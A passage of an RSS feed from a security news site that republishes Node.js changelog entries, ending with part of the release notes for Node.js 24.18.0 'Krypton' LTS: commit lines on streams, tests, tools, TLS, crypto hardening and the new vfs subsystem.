<li>[<a href="https://github.com/nodejs/node/commit/7ac3fe1992"><code>7ac3fe1992</code></a>] - <strong>src</strong>: add cleanup hooks to <code>node::ObjectWrap</code> (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63642" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63642/hovercard">#63642</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d82d369155"><code>d82d369155</code></a>] - <strong>src</strong>: fix edge case when deflateInit2() fails with Z_VERSION_ERROR (Nora Dossche) <a href="https://github.com/nodejs/node/pull/63476" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63476/hovercard">#63476</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/03858d152b"><code>03858d152b</code></a>] - <strong>src</strong>: remove redundant <code>handle_</code> field in ffi (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63665" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63665/hovercard">#63665</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1682264f6b"><code>1682264f6b</code></a>] - <strong>src</strong>: add Latin1 fast path in StringBytes::Encode utf8 (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/63385" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63385/hovercard">#63385</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cc29696acf"><code>cc29696acf</code></a>] - <strong>stream</strong>: fix Writable.toWeb() desiredSize for non-object-mode (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62986" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62986/hovercard">#62986</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d9967a25b2"><code>d9967a25b2</code></a>] - <strong>stream</strong>: handle falsy push writer fail reasons (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63569" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63569/hovercard">#63569</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b53f8f75c9"><code>b53f8f75c9</code></a>] - <strong>stream</strong>: reduce allocations on WHATWG streams hot paths (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63876" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63876/hovercard">#63876</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/315ca426d8"><code>315ca426d8</code></a>] - <strong>stream</strong>: handle setEncoding after buffered data (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63973" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63973/hovercard">#63973</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/06413cd6bd"><code>06413cd6bd</code></a>] - <strong>stream</strong>: fix Utf8Stream stall after full write of multi-byte data (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63964" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63964/hovercard">#63964</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a9f9a3dafa"><code>a9f9a3dafa</code></a>] - <strong>stream</strong>: keep overlapping broadcast reads pending (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63500" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63500/hovercard">#63500</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/009cca11bd"><code>009cca11bd</code></a>] - <strong>stream</strong>: refine the stream/iter backpressure (James M Snell) <a href="https://github.com/nodejs/node/pull/63697" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63697/hovercard">#63697</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3f81dcfc99"><code>3f81dcfc99</code></a>] - <strong>stream</strong>: only pass the expected number of parameters to callbacks (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63909" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63909/hovercard">#63909</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a83b5d1fe"><code>9a83b5d1fe</code></a>] - <strong>stream</strong>: fix dropped first chunk in Utf8Stream buffer mode (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63833" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63833/hovercard">#63833</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0bdf5adea9"><code>0bdf5adea9</code></a>] - <strong>stream</strong>: remove transform-writer handling in pipeTo (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63684" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63684/hovercard">#63684</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/10272a94b6"><code>10272a94b6</code></a>] - <strong>stream</strong>: check done before backpressure in stream reader (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63699" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63699/hovercard">#63699</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/792c410631"><code>792c410631</code></a>] - <strong>stream</strong>: fix pipeToSync byte accounting (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63564" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63564/hovercard">#63564</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3cfafbc54b"><code>3cfafbc54b</code></a>] - <strong>stream</strong>: reject pull() reads on abort (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63498" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63498/hovercard">#63498</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/640a8cede5"><code>640a8cede5</code></a>] - <strong>stream</strong>: fast-path stateless transform flush results (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63605" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63605/hovercard">#63605</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ece4477872"><code>ece4477872</code></a>] - <strong>stream</strong>: optimize pipeTo promise handling (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63572" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63572/hovercard">#63572</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2cb84c2daf"><code>2cb84c2daf</code></a>] - <strong>stream</strong>: handle sync writev completion in pipeTo (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63561" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63561/hovercard">#63561</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7d9fdda5fa"><code>7d9fdda5fa</code></a>] - <strong>stream</strong>: settle pending broadcast reads on return (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63603" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63603/hovercard">#63603</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e2aea3aac7"><code>e2aea3aac7</code></a>] - <strong>test</strong>: tolerate duplicate watch change events (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63937" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63937/hovercard">#63937</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ea6300593a"><code>ea6300593a</code></a>] - <strong>test</strong>: mark test-debugger-run-after-quit-restart as flaky on macOS (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64006" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64006/hovercard">#64006</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/be1b204fa4"><code>be1b204fa4</code></a>] - <strong>test</strong>: update WPT for url to d4598eba09 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63899" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63899/hovercard">#63899</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b3d0d05b05"><code>b3d0d05b05</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to 03a1476844 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63900" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63900/hovercard">#63900</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/046af2609f"><code>046af2609f</code></a>] - <strong>test</strong>: update WPT for urlpattern to 23aac92784 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63898/hovercard">#63898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/562b831a98"><code>562b831a98</code></a>] - <strong>test</strong>: add tests for 3 methods in utils (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63765" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63765/hovercard">#63765</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/28e3629dd3"><code>28e3629dd3</code></a>] - <strong>test</strong>: mark SEA tests flaky on linux arm debug (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63743" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63743/hovercard">#63743</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/243aa846de"><code>243aa846de</code></a>] - <strong>test</strong>: validate ERR_INVALID_THIS for scheduler methods (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63764" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63764/hovercard">#63764</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6bd07df2bc"><code>6bd07df2bc</code></a>] - <strong>test</strong>: add coverage outside SEA (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63744" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63744/hovercard">#63744</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bd67c9d11b"><code>bd67c9d11b</code></a>] - <strong>test</strong>: update WPT for urlpattern to 2f28df545c (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63771" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63771/hovercard">#63771</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e40bfe7081"><code>e40bfe7081</code></a>] - <strong>test</strong>: make Brotli 16GB test wait for backpressure (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63389" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63389/hovercard">#63389</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/444c03fd3b"><code>444c03fd3b</code></a>] - <strong>test</strong>: add regression test for using <code>ObjectWrap</code> in worker (Mohamed Akram) <a href="https://github.com/nodejs/node/pull/63642" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63642/hovercard">#63642</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/771230df78"><code>771230df78</code></a>] - <strong>test</strong>: accept SIGILL aborts in async-hooks tests (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63687" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63687/hovercard">#63687</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0b3cd8e5e6"><code>0b3cd8e5e6</code></a>] - <strong>test</strong>: add more test cases for pathToFileURL (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/63293" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63293/hovercard">#63293</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0cbc77c60e"><code>0cbc77c60e</code></a>] - <strong>test</strong>: update test426-fixtures to 2965987bf4c96afa400c9356c8e620cb340aaee (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63668" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63668/hovercard">#63668</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f53dee5fe4"><code>f53dee5fe4</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to 0c413fb56b (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63647" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63647/hovercard">#63647</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3048f8dc1a"><code>3048f8dc1a</code></a>] - <strong>test,debugger</strong>: add test for type stripping in debugger probe mode (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63748" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63748/hovercard">#63748</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9485caa97e"><code>9485caa97e</code></a>] - <strong>test_runner</strong>: remove unused shuffleArrayWithSeed (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63847" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63847/hovercard">#63847</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/34433a4a87"><code>34433a4a87</code></a>] - <strong>test_runner</strong>: fix watch cwd with isolation none (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63690" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63690/hovercard">#63690</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2e7da29b7c"><code>2e7da29b7c</code></a>] - <strong>test_runner</strong>: avoid recompiling coverage globs for every file (sangwook) <a href="https://github.com/nodejs/node/pull/63675" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63675/hovercard">#63675</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/205295a31e"><code>205295a31e</code></a>] - <strong>test_runner</strong>: cache <code>shouldSkipFileCoverage</code> result per URL (sangwook) <a href="https://github.com/nodejs/node/pull/63675" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63675/hovercard">#63675</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ee29465e77"><code>ee29465e77</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>tls</strong>: add certificateCompression option (Tim Perry) <a href="https://github.com/nodejs/node/pull/62217" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62217/hovercard">#62217</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/57d060ed2b"><code>57d060ed2b</code></a>] - <strong>tls</strong>: route event listener exceptions through error handlers (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63822" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63822/hovercard">#63822</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d2dc6f8506"><code>d2dc6f8506</code></a>] - <strong>tools</strong>: bump piscina from 5.1.4 to 5.2.0 in /tools/doc (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64002" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64002/hovercard">#64002</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b0c418f605"><code>b0c418f605</code></a>] - <strong>tools</strong>: update sccache to v0.16.0 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/63078" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63078/hovercard">#63078</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2af8433bef"><code>2af8433bef</code></a>] - <strong>tools</strong>: bump js-yaml from 4.1.1 to 4.2.0 in /tools/lint-md (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63948" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63948/hovercard">#63948</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8ba5b8574b"><code>8ba5b8574b</code></a>] - <strong>tools</strong>: bump js-yaml from 4.1.1 to 4.2.0 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63947" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63947/hovercard">#63947</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/325087be5b"><code>325087be5b</code></a>] - <strong>tools</strong>: enforce iterator result property order (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63526" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63526/hovercard">#63526</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/314f417db7"><code>314f417db7</code></a>] - <strong>tools</strong>: update the llhttp updater script (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63819" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63819/hovercard">#63819</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c6e4f5a4fe"><code>c6e4f5a4fe</code></a>] - <strong>tools</strong>: avoid test/fixtures/wpt/README.md conflicts (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63938" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63938/hovercard">#63938</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/363912acc3"><code>363912acc3</code></a>] - <strong>tools</strong>: align Bash snippets in GHA with <code>lint-sh</code> conventions (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63829" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63829/hovercard">#63829</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cfd16e973c"><code>cfd16e973c</code></a>] - <strong>tools</strong>: bump @node-core/doc-kit in /tools/doc in the doc group (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63760" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63760/hovercard">#63760</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1566872706"><code>1566872706</code></a>] - <strong>tools</strong>: bump the eslint group in /tools/eslint with 7 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63730" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63730/hovercard">#63730</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/08437a3a5b"><code>08437a3a5b</code></a>] - <strong>tools</strong>: fix zlib updater script (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63707" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63707/hovercard">#63707</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e883366172"><code>e883366172</code></a>] - <strong>url</strong>: fix URLSearchParams(null) to prudce null= per spec (Marco) <a href="https://github.com/nodejs/node/pull/63782" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63782/hovercard">#63782</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/60e83d9bfd"><code>60e83d9bfd</code></a>] - <strong>util</strong>: fix scientific notation formatting (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63823" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63823/hovercard">#63823</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5f7f60ac36"><code>5f7f60ac36</code></a>] - <strong>util</strong>: fix -0 formatting when numericSeparator is enabled (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63815" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63815/hovercard">#63815</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/af1a11e0dd"><code>af1a11e0dd</code></a>] - <strong>util</strong>: remove style caches from styleText slow path (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/63706" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63706/hovercard">#63706</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b17817eb2b"><code>b17817eb2b</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>vfs</strong>: dispatch fs/promises to mounted VFS instances (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63537" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63537/hovercard">#63537</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7bc93a6ac5"><code>7bc93a6ac5</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>vfs</strong>: add minimal node:vfs subsystem (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63115" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63115/hovercard">#63115</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/584e7527c4"><code>584e7527c4</code></a>] - <strong>vm</strong>: fix property queries for proxy sandboxes (Brian Meek) <a href="https://github.com/nodejs/node/pull/63742" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63742/hovercard">#63742</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a926e72eaf"><code>a926e72eaf</code></a>] - <strong>watch</strong>: print name of changed file that triggers restart (Marco) <a href="https://github.com/nodejs/node/pull/63781" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63781/hovercard">#63781</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32a2621ca4"><code>32a2621ca4</code></a>] - <strong>watch</strong>: cancel pending restart on shutdown (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63383" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63383/hovercard">#63383</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/692215d1b1"><code>692215d1b1</code></a>] - <strong>zlib</strong>: coerce -0 to +0 for crc32 seeds (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63556/hovercard">#63556</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-06-23, Version 24.18.0 'Krypton' (LTS), @richardlau prepared by @sxa]]></title>
<description><![CDATA[Notable Changes

[e07e7a31e1] - crypto: update root certificates to NSS 3.123.1 (Node.js GitHub Bot) #63527
[44c8ebcbd6] - http: avoid stream listeners on idle agent sockets (Matteo Collina) #64004
[d3ef4122ee] - (SEMVER-MINOR) buffer: increase Buffer.poolSize default to 64 KiB (Matteo Collina) #...]]></description>
<link>https://tsecurity.de/de/3619855/downloads/2026-06-23-version-24180-krypton-lts-richardlau-prepared-by-sxa/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3619855/downloads/2026-06-23-version-24180-krypton-lts-richardlau-prepared-by-sxa/</guid>
<pubDate>Wed, 24 Jun 2026 01:16:44 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/e07e7a31e1"><code>e07e7a31e1</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.123.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63527" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63527/hovercard">#63527</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/44c8ebcbd6"><code>44c8ebcbd6</code></a>] - <strong>http</strong>: avoid stream listeners on idle agent sockets (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64004" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64004/hovercard">#64004</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d3ef4122ee"><code>d3ef4122ee</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>buffer</strong>: increase Buffer.poolSize default to 64 KiB (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63597" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63597/hovercard">#63597</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bb2857b85a"><code>bb2857b85a</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: align key argument names in docs and error messages (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62527" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62527/hovercard">#62527</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b9d5e87880"><code>b9d5e87880</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: accept key data in crypto.diffieHellman() and cleanup DH jobs (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62527" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62527/hovercard">#62527</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ccd756d61e"><code>ccd756d61e</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: add TurboSHAKE and KangarooTwelve Web Cryptography algorithms (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62183" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62183/hovercard">#62183</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c9251fc09"><code>4c9251fc09</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: add writeInformation to send arbitrary 1xx status codes (Tim Perry) <a href="https://github.com/nodejs/node/pull/63155" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63155/hovercard">#63155</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8c989ec4a3"><code>8c989ec4a3</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>inspector</strong>: expose precise coverage start to JS runtime (sangwook) <a href="https://github.com/nodejs/node/pull/63079" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63079/hovercard">#63079</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3f54c8ba32"><code>3f54c8ba32</code></a>] - <em><strong>Revert</strong></em> "<strong>stream</strong>: noop pause/resume on destroyed streams" (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/63834" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63834/hovercard">#63834</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/d3ef4122ee"><code>d3ef4122ee</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>buffer</strong>: increase Buffer.poolSize default to 64 KiB (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63597" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63597/hovercard">#63597</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9ff36e40f0"><code>9ff36e40f0</code></a>] - <strong>build</strong>: add --enable-all-experimentals build flag (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/62755" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62755/hovercard">#62755</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7c22ee23aa"><code>7c22ee23aa</code></a>] - <strong>build</strong>: def <code>NODE_USE_NODE_CODE_CACHE</code> only used in node_mksnapshot (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63588" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63588/hovercard">#63588</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2551abdb4a"><code>2551abdb4a</code></a>] - <strong>build,win</strong>: enable x64 PGO (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/62761" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62761/hovercard">#62761</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e8a55ce9b1"><code>e8a55ce9b1</code></a>] - <strong>crypto</strong>: strengthen argument CHECKs in TurboSHAKE (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/62763" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62763/hovercard">#62763</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ae61cd68f3"><code>ae61cd68f3</code></a>] - <strong>crypto</strong>: harden WebCrypto against prototype pollution (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63363" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63363/hovercard">#63363</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3d05a1d396"><code>3d05a1d396</code></a>] - <strong>crypto</strong>: pass CryptoKey handles to KDF jobs (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63363" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63363/hovercard">#63363</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f9d10a3f6b"><code>f9d10a3f6b</code></a>] - <strong>crypto</strong>: remove async from WebCrypto methods (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63363" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63363/hovercard">#63363</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e431d93e9e"><code>e431d93e9e</code></a>] - <strong>crypto</strong>: add WebCrypto CryptoJob mode (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63363" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63363/hovercard">#63363</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/56e2505e48"><code>56e2505e48</code></a>] - <strong>crypto</strong>: wire ML-DSA and ML-KEM for use when using BoringSSL (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63255" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63255/hovercard">#63255</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3bac77f2a8"><code>3bac77f2a8</code></a>] - <strong>crypto</strong>: wire ChaCha20-Poly1305 in Web Cryptography when using BoringSSL (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63255" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63255/hovercard">#63255</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1bff901b09"><code>1bff901b09</code></a>] - <strong>crypto</strong>: wire AES-KW in Web Cryptography when using BoringSSL (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63255" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63255/hovercard">#63255</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4433fca3df"><code>4433fca3df</code></a>] - <strong>crypto</strong>: harden CryptoKey algorithm slots (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63111" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63111/hovercard">#63111</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b5cf01217a"><code>b5cf01217a</code></a>] - <strong>crypto</strong>: harden KeyObject internal slots (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63111" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63111/hovercard">#63111</a></li>
